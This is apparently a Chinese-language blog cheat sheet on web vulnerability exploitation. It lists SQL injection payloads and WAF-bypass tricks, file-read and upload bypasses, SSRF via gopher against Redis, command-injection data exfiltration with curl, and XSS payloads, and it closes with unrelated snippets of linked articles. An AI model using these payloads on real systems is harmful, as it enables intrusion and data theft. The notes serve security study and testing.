漏洞挖掘-利用
一、文章简介
整合一些web漏洞,以及对漏洞的理解。
二、Web漏洞
1.SQL注入
(1)定义
开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到后端的数据库执行,从而引发实际执行的语句与预期不一致的情况。
(2)利用
1、数字型:输入点附近没有引号包裹($_GET['id'])运算模式能被运算,即1+1 => 2
2、字符型:($id)运算模式无法运算,即1+1 => 1+1
(3)碰到的问题
1、联合查询只有一行结果,无法显示所需要的
答:用 limit 进行参数限制 或者 另一条记录用一个很大的值使其无法被查询到
2、注入语法示例
答:
xxxxx'union select table-name,1 from information_schema.tables where table_schema='dvwa'#
xxxxx'union select column_name,1 from information_schema.columns where table_name='users'#
3、注入流程
答:
1、判断字符型还是数字型;
2、判断字段数量;
3、查看回显字段;
4、获取数据库和用户名;
5、查表名;
6、查表字段;
7、读取
注:复选框则通过Burpsuite抓包repeater;若引号无法使用,将表名改为database()自动获取,以及十六进制转换提交。
(4)防御
1、查询前的条件利用函数判断,函数过滤
2、输入转义、参数化查询
3、waf防护、云端防护
(5)注入思路
1、只过滤空格 => url编码代替空白符(如:%09)
2、将select替换为空 => 嵌套构造(如:selselectect)
3、大小写匹配 => 大小写混写(如:sElect)
4、正则匹配 =>构造绕过(如:正则'\bselect\b' => /*!50000select*/)
5、逃逸引号 => 编码绕过,\转义
6、字符串截断 =>\转义
(6)危害
获取敏感数据,权限提升,控制关键文件,控制整个数据库,执行系统命令
2.任意文件读取
(1)定义
攻击者通过一些手段读取服务器上开发者不允许读到的文件。
(2)利用
1、php的 php://filter 伪协议
2、Python的 feature函数
3、java的 file://协议
4、Ruby on Rails远程代码执行漏洞(CVE-2017-14849;CVE-2018-3760;CVE-2019-5418)
5、node模板注入、代码注入
6、nginx配置错误导致目录穿越(/static../ => /static/../)
(3)思路
1、爆破目录
2、利用filter协议:php://filter/convert.Base64-encode
3、利用zip协议:zip://uploads/xxx.png#1.php
3.SSRF漏洞(服务器请求伪造)
(1)定义
攻击者通过构造数据进而伪造服务器端发起请求的漏洞,通常是服务端提供了从外部服务获取数据的功能,但没对目标地址协议等参数进行过滤限制,导致攻击者可以自由构造函数,发起预期外的请求。
(2)利用
1、测试是否能控制支持常见协议(file://etc/passwd 、dict://xxx.xxx.xxx:xxxx/info 、gopher://xxxxx)
2、写入Crontab反弹shell攻击Redis
3、DNS重绑定
4.命令执行漏洞
(1)定义
调用函数执行命令且未对输入做过滤处理。
(2)利用
构造使其能同时执行多条命令即可
(3)思路
1、黑名单关键字=>利用变量进行拼接;使用通配符(?/*);借用已有字符( substr() 截取)
2、无回显=>指令外带,在平台上获取执行结果(for /F %x in (xx) do xxxxx)or (curl xx/'xxx');时间盲注(ping -nc 5 xxxxx);命令写入web目录下(x.php?cmd=whoami>test)再访问文件。
3、正则限制=>找缺漏(如:正则未多行匹配,进行绕过)
4、限制命令长度=>利用上传的文件名字拼接
5.XSS(跨站脚本攻击)
(1)定义
利用网页开发的漏洞,注入恶意代码到网页使用户加载并执行攻击者恶意制造的网页程序
(2)利用
1、存储型:恶意代码被服务器存储,在访问页面时会直接触发。
2、反射型:恶意代码未被服务器存储,每次出发通过GET/POST方式提交触发。
3、DOM型:在前端通过JS渲染完成数据交互,且不经过服务器,不需要与服务器交互。
(3)思路
1、特殊标签闭合实现payload逃逸
2、闭合引号在变量传入恶意代码
3、on事件;img标签;input标签的autofocus属性;
4、伪协议: javascript:xxx (如: javascript:alert(1) )
5、data伪协议(如:data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=)
注:乱码为<script>alert("xss")</script>的base64编码
6、借助模板的二次渲染完成沙箱逃逸(jinjia2)
7、html编码
8、变量替代
9、闭合引号转义
10、JSONP命令接口(callback=xxxxxx)
注:JSONP:解决主流浏览器的跨域数据访问,指向一个接口(动态添加)
(4)防御
1、httponly
2、输入检查
3、输出检查(安全的编码函数)
6.web文件上传漏洞
(1)定义
实现文件上传时,没有对用户上传的文件做好处理
(2)利用
1、00截断:x.php/00.jpg=>x.php
2、转换字符集造成截断
3、文件后缀绕过(php3/php5/phtml/pht)
4、上传.htaccess/.user.ini
5、IIS解析漏洞(x.asp;a.jpg=>x.asp)
6、Nginx解析漏洞(先构造代码将后缀改为jpg,之后上传x.jpg文件,访问x.jpg/1.php,因为该文件不存在且要用php解析,故最后以php解析了x.php)
7、Apache解析漏洞(使用AddType时,x.php.xxx文件由于没有对应的处理器处理xxx,所以往左识别出php,交给php处理器处理)
8、Apache CVE-2017-15715漏洞(FilesMatch指令正则中$能匹配到换行符,导致.php\n的文件能被解析)
9、location匹配顺序导致绕过
注:location ^~:普通字符串匹配后不再进行正则匹配;location:大小写敏感,前缀匹配,不是完全匹配则会继续匹配;location ~:正则匹配,匹配成功则不考虑后面的
10、临时文件利用
11、死亡之die绕过:使用字符串过滤器把exit()处理掉(upload.php --data "filename=php://filter/write=convert.base64-decode/resource=x.php")
12、zip文件绕过;zip文件在文件被删除前访问文件生成另一个脚本文件到非上传目录中(不断上传访问最终成功);解压到一半失败的zip包;目录跳跃(当使用第三方解压方法时,文件名为../x.php)
(3)碰到的问题
1、web服务器中配置上传目录的脚本文件禁止访问
答:将目录穿越上传到根目录(../x.php)。
2、文件上传到OSS(云服务器)怎么办?
答:当网站把OSS绑定在自己的二级域名下时就能用了。
3、上传文件无法被解析访问
答:上传一个php文件配合文件包含实现解析(page.php?upload=x.php)
4、getimgesize检测文件是否为正常图片的绕过
答:php代码添加到图片内容后即可
5、imagecreatefromjpeg绕过
答:上传正常图片,下载回渲染后的图片,运行脚本处理,将代码注入图片,上传新生成的图
7.反序列化漏洞
(1)反序列化定义
将对象的状态信息转换为可存储或者可传输的过程就是序列化,反序列化是为了方便对象的传输,获取之前的对象
(2)利用
1、__wakeup失效 CVE-2016-7124:属性个数不正确使wakeup失效后,利用destruct写入文件
2、bypass反序列化正则拦截逃逸:函数中存在"+"的判断,在对象名的长度前加上"+"号即可
3、字符逃逸CVE-2015-8562:类中不存在的属性也会进行反序列化,因字符数不对应出错,本身过滤函数使用后会变为2倍出错,故直接写入正确数量插入。(插入";i:1;s:8:"scanfsec";},长度为22,原序列添加22个x且长度加22*2=44个)
相关文章:
漏洞挖掘-利用
一、文章简介 整合一些web漏洞,以及对漏洞的理解。 二、Web漏洞 1.SQL注入 (1)定义 开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到…...
React钩子函数之useDeferredValue的基本使用
在React中,使用钩子函数可以方便地管理组件的状态和副作用。useDeferredValue是React 18中新引入的钩子函数之一,它可以帮助我们优化渲染性能,让组件更加流畅。 useDeferredValue的作用是将一个值延迟更新。这个值可以是状态、属性或其他变量…...
lodash常用方法
cloneDeep 克隆 import { cloneDeep,reduce } from lodash; const b {c:1} const a cloneDeep(b)debounce 防抖 import { debounce } from lodash; debounce(() > {}, 300, { trailing: true })()omit方法删除指定属性,返回一个新的对象 import …...
QByteArray与结构体之间相互转换
Qt项目会碰到自定义结构体和字符数组之间的转换问题,不妨假设结构体名字为custom_struct, 字符数组名字为array_data QByteArray转换为自定义结构体 custom_struct *struct_data reinterpret_cast<custom_struct *>(array_data.data());自定义结构体转换为…...
npm如何安装淘宝镜像
通过命令配置 这种方法是通过修改npm的全局配置文件,将默认的镜像源改为淘宝镜像。具体步骤如下: 打开终端,输入以下命令,设置淘宝镜像源:(windowr) npm config set registry https://registr…...
从项目中突显技能:在面试中讲述你的编程故事
🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…...
python的观察者模式案例
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言二、具体代码写在结尾 前言 最近写安卓的代码比较多,了解了java代码的注册回调机制,也就是观察者模式,搜索了一下python也有…...
C语言——类型转换
数据有不同的类型,不同类型数据之间进行混合运算时涉及到类型的转换问题。 转换的方法有两种: 自动转换(隐式转换):遵循一定的规则,由编译系统自动完成强制类型转换:把表达式的运算结果强制转换成所需的数据类型 语法格…...
jmeter性能测试入门完整版
1. Jmeter简介 Apache JMeter是一款纯java编写负载功能测试和性能测试开源工具软件。相比Loadrunner而言,JMeter小巧轻便且免费,逐渐成为了主流的性能测试工具,是每个测试人员都必须要掌握的工具之一。 本文为JMeter性能测试完整入门篇&…...
报错sql_mode=only_full_group_by
首发博客地址 https://blog.zysicyj.top/ 报错内容 ### The error may exist in file[D:\code\cppCode20221025\leader-system\target\classes\mapper\system\TJsonDataMapper.xml] ### The error may involve defaultParameterMap ### The error occurred while…...
伪造 IP 地址的原理和防范措施
在数字化时代,网络安全是至关重要的话题。其中,伪造 IP 地址是一种可能导致网络攻击和欺诈的技术手段。这里将深入探讨伪造 IP 地址的原理以及如何采取措施来防范这种风险。 一.伪造 IP 地址的原理 伪造 IP 地址是一种操纵网络通信的方式,它…...
Linux通过libudev获取挂载路径、监控U盘热拔插事件、U盘文件系统类型
文章目录 获取挂载路径监控U盘热拔插事件libusb 文件系统类型通过挂载点获取挂载路径添libudev加库 获取挂载路径 #include <stdio.h> #include <libudev.h> #include <string.h>int main() {struct udev *udev;struct udev_enumerate *enumerate;struct ud…...
【会议征稿】2023智能通信与网络国际学术会议(ICN 2023)
2023智能通信与网络国际学术会议(ICN 2023) 2023 International Conference on Intelligent Communication and Networking (ICN2023) 2023智能通信与网络国际学术会议(ICN 2023)将于2023年11月10-12日在中国常州召开。ICN 2023…...
Android投屏总结
#android手机投屏 ####导语 至于手机投屏的实现方法可谓五花八门,今天小袁就说下以开发人员的角度来说下当今手机的主流投屏方法。目前这种将终端信号经由WiFi传输到电视、电视盒的技术有三种:DLNA、AirPlay、Miracast、Google Cast。 ##手机投屏智能电…...
vue2 组件组成部分,组件通信,进阶语法
一、学习目标 1.组件的三大组成部分(结构/样式/逻辑) scoped解决样式冲突/data是一个函数 2.组件通信 组件通信语法父传子子传父非父子通信(扩展) 4.进阶语法 v-model原理v-model应用于组件sync修饰符ref和$refs$nextTic…...
信看课堂笔记—LDO和DC-DC电路打PK
LDO(low dropout voltage regulator,低压差线性稳压器)和DC-DC(Direct current-Direct current converter,直流电压转直流电压转换器)电源是非常常见的电源电路,LDO 出来的比较早,像老戏骨一样,…...
C++ Day6
目录 一、菱形继承 1.1 概念 1.2 格式 二、虚继承 2.1 作用 2.2 格式 2.3注意 三、多态 3.1函数重写 3.2 虚函数 3.3 赋值兼容规则 3.4 多态中,函数重写的原理 3.5 虚析构函数 3.5.1 格式 3.6 纯虚函数 3.6.1格式 四、抽象类 五、模板 5.1模板的特…...
分布式系统与微服务的区别是什么?
分布式系统和微服务是两个相关但不同的概念,它们都是在构建复杂的软件应用时使用的架构思想。 分布式系统: 分布式系统是指由多个独立的计算机或服务器通过网络连接共同工作,协同完成一个任务或提供一个服务。在分布式系统中,各个…...
python:用python构建一个物联网平台
要使用Python构建物联网平台,您需要考虑以下步骤: 确定平台的基本要求和功能 首先,您需要明确您将要构建的平台的功能和特点。例如,您可能需要支持多种设备,并使用各种传感器来收集数据。您可能需要实现实时数据可视化…...
基于Qt5开发图形界面——WiringPi调用Linux单板电脑IO
Qt5——WiringPi Qt5WiringPi示例教程 Qt5 Qt是一种跨平台的应用程序开发框架。它被广泛应用于图形用户界面(GUI)开发,可以用于构建桌面应用程序、移动应用程序和嵌入式应用程序。Qt提供了丰富的功能和工具,使开发人员可以快速、高…...
Jetson Orin Nano上YOLOv8训练避坑实录:从CUDA报错到ONNX导出,我的踩坑与修复指南
Jetson Orin Nano上YOLOv8训练避坑实录:从CUDA报错到ONNX导出实战指南 在边缘计算设备上部署深度学习模型总是充满挑战,特别是当硬件架构与主流x86平台存在差异时。Jetson Orin Nano作为NVIDIA最新的边缘AI计算平台,其ARM架构和独特的CUDA核心…...
CPCIe507全国产信号处理板卡:FT-M6678+JFM7VX690T互联调试
CPCIe507 为标准的6U CPCIe 板卡,采用全国产芯片设计。出于匠行科技技术团队。主处理器采用复旦微电子FPGA JFM7VX690T36和长城银河多核 DSP FT-M6678N,二者之间通过SRIO x5 互联。板卡对外高速接口为PCIe3.0 x4、预留GTH x4,低速接口RS422 x…...
JIT 与 AOT 编译区别
注:本文为 “JIT 与 AOT ” 相关合辑。 英文引文,机翻未校。 中文引文,未整理去重。 图片清晰度受引文原图所限。 如有内容异常,请看原文。 JIT 与 AOT 区别 1 基本概念与典型实例 JIT (Just-In-Time):即时编译&#…...
从零到一:基于LLaMA-Factory与Ollama的本地大模型定制化实战
1. 为什么需要本地定制化大模型? 最近两年,大语言模型的发展速度简直让人瞠目结舌。从最初的GPT-3到现在的Llama 3,模型能力越来越强,但随之而来的问题是:这些通用大模型真的能满足我们每个人的特定需求吗?…...
Unity3D物体缩放避坑指南:为什么你的Transform.localScale总是不生效?
Unity3D物体缩放避坑指南:为什么你的Transform.localScale总是不生效? 在Unity3D开发中,Transform.localScale属性看似简单,却隐藏着许多让开发者头疼的陷阱。不少开发者都遇到过这样的场景:明明代码里设置了localScal…...
ESP32-S3的AI新玩法:除了语音唤醒,还能用TensorFlow Lite Micro做哪些酷事?(环境音识别/振动监测实战)
ESP32-S3边缘智能实战:从环境音识别到工业振动监测的AI新范式 当一颗售价不到5美元的芯片能够听懂玻璃破碎声、预测电机故障,甚至识别婴儿啼哭时,物联网设备的"感知能力"正在被重新定义。ESP32-S3搭配TensorFlow Lite Micro&#x…...
5分钟掌握MPC Video Renderer:解锁专业级HDR视频渲染的完整解决方案
5分钟掌握MPC Video Renderer:解锁专业级HDR视频渲染的完整解决方案 【免费下载链接】VideoRenderer RTX HDR modded into MPC-VideoRenderer. 项目地址: https://gitcode.com/gh_mirrors/vid/VideoRenderer MPC Video Renderer是一款功能强大的开源DirectSh…...
英语节日庆祝口语
一、春节 (Chinese New Year / Spring Festival) 1. 春节祝福 中文英文春节快乐!Happy Chinese New Year! / Happy Spring Festival!新年快乐!Happy New Year!恭喜发财!Wishing you prosperity! / Gong Xi Fa Cai!万事如意!May …...
XC7Z100与GMSL FMC采集卡在自动驾驶视觉系统中的高效集成方案
1. XC7Z100与GMSL FMC采集卡的核心价值 在自动驾驶视觉系统中,图像采集的实时性和可靠性直接决定了系统的性能上限。XC7Z100 FPGA与GMSL FMC采集卡的组合,就像给系统装上了"超清眼睛"和"高速神经"。我曾参与过一个夜间自动驾驶项目&…...
避坑指南:STM32输入捕获测量PWM时,如何处理计数器溢出的3种方案
STM32输入捕获测量PWM时的计数器溢出处理方案实战解析 在嵌入式系统开发中,精确测量PWM信号的频率和占空比是常见需求。STM32系列微控制器的输入捕获功能为此提供了硬件支持,但当PWM周期较长或测量高分辨率信号时,定时器计数器(CNT)溢出问题往…...
